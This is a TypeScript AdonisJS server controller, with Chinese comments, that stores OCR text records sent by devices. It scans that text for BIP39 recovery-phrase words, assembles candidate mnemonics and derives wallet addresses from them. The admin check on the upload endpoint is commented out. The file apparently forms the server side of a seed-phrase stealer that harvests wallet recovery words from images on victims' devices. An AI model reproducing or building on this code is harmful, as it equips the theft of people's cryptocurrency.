OcrRecordController.ts 6.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172
  1. import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import { schema } from '@ioc:Adonis/Core/Validator'
  4. import OcrRecord from 'App/Models/OcrRecord'
  5. import Drive from '@ioc:Adonis/Core/Drive'
  6. import BlockchainWalletService from 'App/Services/BlockchainWalletService'
  7. import * as bip39 from 'bip39'
  8. export default class OcrRecordController {
  9. private paginationService = new PaginationService(OcrRecord)
  10. public async index({ request }: HttpContextContract) {
  11. const res = await this.paginationService.paginate(request.all())
  12. for (let e of res) {
  13. if (e.img && e.img !== '-') {
  14. e.img = await Drive.getSignedUrl(new URL(e.img).pathname.replace(/^\//, ''))
  15. }
  16. }
  17. return res
  18. }
  19. public async store({ request, bouncer }: HttpContextContract) {
  20. // await bouncer.authorize('admin')
  21. await request.validate({
  22. schema: schema.create({
  23. deviceId: schema.string(),
  24. record: schema.string()
  25. })
  26. })
  27. const data = request.all()
  28. data.content = '-'
  29. data.detail = await BlockchainWalletService.getAllAddresses(data.content)
  30. return await OcrRecord.create(data)
  31. }
  32. public async updateContent({ request, response }: HttpContextContract) {
  33. const data = await request.validate({
  34. schema: schema.create({
  35. id: schema.number(),
  36. content: schema.string()
  37. })
  38. })
  39. const record = await OcrRecord.findBy('id', request.input('id'))
  40. if (record) {
  41. record.content = data.content
  42. await record.save()
  43. return response.ok(record)
  44. } else {
  45. return response.notFound({ message: 'Record not found' })
  46. }
  47. }
  48. public async updateDetail({ params, response }: HttpContextContract) {
  49. const record = await OcrRecord.findBy('id', params.id)
  50. if (record) {
  51. const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
  52. record.detail = JSON.stringify(walletAddresses)
  53. record.content = await this.recordParsing(record.content)
  54. await record.save()
  55. return response.ok(record)
  56. } else {
  57. return response.notFound({ message: 'Record not found.' })
  58. }
  59. }
  60. public async getAllAddresses({ request }: HttpContextContract) {
  61. await request.validate({
  62. schema: schema.create({
  63. mnemonic: schema.string()
  64. })
  65. })
  66. return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
  67. }
  68. public async recordParsing(record: string) {
  69. // 解析记录字符串
  70. const lines = record.split('\n')
  71. // 从文本中提取潜在的助记词
  72. const potentialWords = new Set<string>()
  73. const englishWordRegex = /[a-zA-Z]+/g
  74. // 遍历所有行提取英文单词
  75. lines.forEach((line) => {
  76. const words = line.match(englishWordRegex)
  77. if (words) {
  78. words.forEach((word) => {
  79. // 忽略数字和分数值
  80. if (!word.includes('.') && isNaN(Number(word))) {
  81. potentialWords.add(word.toLowerCase())
  82. }
  83. })
  84. }
  85. })
  86. // 过滤出可能是BIP39助记词的单词
  87. const potentialBip39Words = Array.from(potentialWords).filter((word) => {
  88. // 使用bip39.wordlists.english检查单词是否在BIP39词表中
  89. return bip39.wordlists.english.includes(word)
  90. })
  91. // 寻找连续助记词序列
  92. const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)
  93. console.log('Potential BIP39 words:', potentialBip39Words.toString())
  94. console.log('Potential mnemonics:', possibleMnemonics.toString())
  95. // 将所有可能的助记词合并为一个字符串返回
  96. if (possibleMnemonics.length < potentialBip39Words.length) {
  97. return potentialBip39Words.join(' ')
  98. }
  99. return possibleMnemonics.join(' ')
  100. }
  101. // 寻找可能的助记词序列
  102. private async findPossibleMnemonics(
  103. recTexts: string[],
  104. bip39Words: string[]
  105. ): Promise<string[]> {
  106. const mnemonics: string[] = []
  107. // 检查每行文本是否包含连续地助记词
  108. recTexts.forEach((text) => {
  109. const words = text.split(/\s+/)
  110. // 检查这一行是否包含多个BIP39词
  111. const bip39WordsInLine = words.filter((word) => {
  112. // 清理单词中的标点符号以及数字
  113. const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
  114. return bip39Words.includes(cleanWord)
  115. })
  116. // 如果找到多个BIP39词,可能是助记词序列
  117. if (bip39WordsInLine.length >= 3) {
  118. // mnemonics存入bip39WordsInLine中每一个元素
  119. bip39WordsInLine.map((word) => {
  120. mnemonics.push(word)
  121. })
  122. }
  123. })
  124. // 尝试从所有文本中提取12或24个词的序列
  125. // const allWords = recTexts.join(' ').split(/\s+/)
  126. // const bip39WordsInAll = allWords.filter((word) => {
  127. // const cleanWord = word.replace(/[.,;:!?]/g, '')
  128. // return bip39Words.includes(cleanWord)
  129. // })
  130. //
  131. // bip39WordsInAll.map((word) => {
  132. // mnemonics.push(word)
  133. // })
  134. // 查找12词或24词的连续序列
  135. // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
  136. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
  137. // if (bip39.validateMnemonic(possibleMnemonic)) {
  138. // mnemonics.push(possibleMnemonic)
  139. // }
  140. // }
  141. //
  142. // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
  143. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
  144. // if (bip39.validateMnemonic(possibleMnemonic)) {
  145. // mnemonics.push(possibleMnemonic)
  146. // }
  147. // }
  148. // 返回去重后的助记词列表
  149. return mnemonics
  150. }
  151. }